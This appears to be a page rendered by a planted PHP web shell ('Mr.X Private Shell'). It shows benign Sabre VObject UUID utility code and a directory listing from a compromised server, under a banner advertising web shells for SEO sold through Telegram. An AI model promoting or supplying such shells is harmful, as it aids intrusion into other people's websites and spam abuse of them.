__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Sabre\VObject;
/**
* UUID Utility.
*
* This class has static methods to generate and validate UUID's.
* UUIDs are used a decent amount within various *DAV standards, so it made
* sense to include it.
*
* @copyright Copyright (C) fruux GmbH (https://fruux.com/)
* @author Evert Pot (http://evertpot.com/)
* @license http://sabre.io/license/ Modified BSD License
*/
class UUIDUtil
{
/**
* Returns a pseudo-random v4 UUID.
*
* This function is based on a comment by Andrew Moore on php.net
*
* @see http://www.php.net/manual/en/function.uniqid.php#94959
*
* @return string
*/
public static function getUUID()
{
return sprintf(
'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
// 32 bits for "time_low"
mt_rand(0, 0xffff), mt_rand(0, 0xffff),
// 16 bits for "time_mid"
mt_rand(0, 0xffff),
// 16 bits for "time_hi_and_version",
// four most significant bits holds version number 4
mt_rand(0, 0x0fff) | 0x4000,
// 16 bits, 8 bits for "clk_seq_hi_res",
// 8 bits for "clk_seq_low",
// two most significant bits holds zero and one for variant DCE1.1
mt_rand(0, 0x3fff) | 0x8000,
// 48 bits for "node"
mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
);
}
/**
* Checks if a string is a valid UUID.
*
* @param string $uuid
*
* @return bool
*/
public static function validateUUID($uuid)
{
return 0 !== preg_match(
'/^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$/i',
$uuid
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Component | Folder | 0775 |
|
|
| ITip | Folder | 0775 |
|
|
| Parser | Folder | 0775 |
|
|
| Property | Folder | 0775 |
|
|
| Recur | Folder | 0775 |
|
|
| Splitter | Folder | 0775 |
|
|
| TimezoneGuesser | Folder | 0775 |
|
|
| timezonedata | Folder | 0775 |
|
|
| BirthdayCalendarGenerator.php | File | 4.85 KB | 0664 |
|
| Cli.php | File | 20.48 KB | 0664 |
|
| Component.php | File | 20.32 KB | 0664 |
|
| DateTimeParser.php | File | 15.76 KB | 0664 |
|
| Document.php | File | 7.25 KB | 0664 |
|
| ElementList.php | File | 1.12 KB | 0664 |
|
| EofException.php | File | 356 B | 0664 |
|
| FreeBusyData.php | File | 5.33 KB | 0664 |
|
| FreeBusyGenerator.php | File | 18.95 KB | 0664 |
|
| InvalidDataException.php | File | 363 B | 0664 |
|
| Node.php | File | 5.81 KB | 0664 |
|
| Parameter.php | File | 9.25 KB | 0664 |
|
| ParseException.php | File | 329 B | 0664 |
|
| Property.php | File | 17.19 KB | 0664 |
|
| Reader.php | File | 2.59 KB | 0664 |
|
| Settings.php | File | 1.83 KB | 0664 |
|
| StringUtil.php | File | 1.28 KB | 0664 |
|
| TimeZoneUtil.php | File | 8.56 KB | 0664 |
|
| UUIDUtil.php | File | 1.71 KB | 0664 |
|
| VCardConverter.php | File | 15.78 KB | 0664 |
|
| Version.php | File | 371 B | 0664 |
|
| Writer.php | File | 1.55 KB | 0664 |
|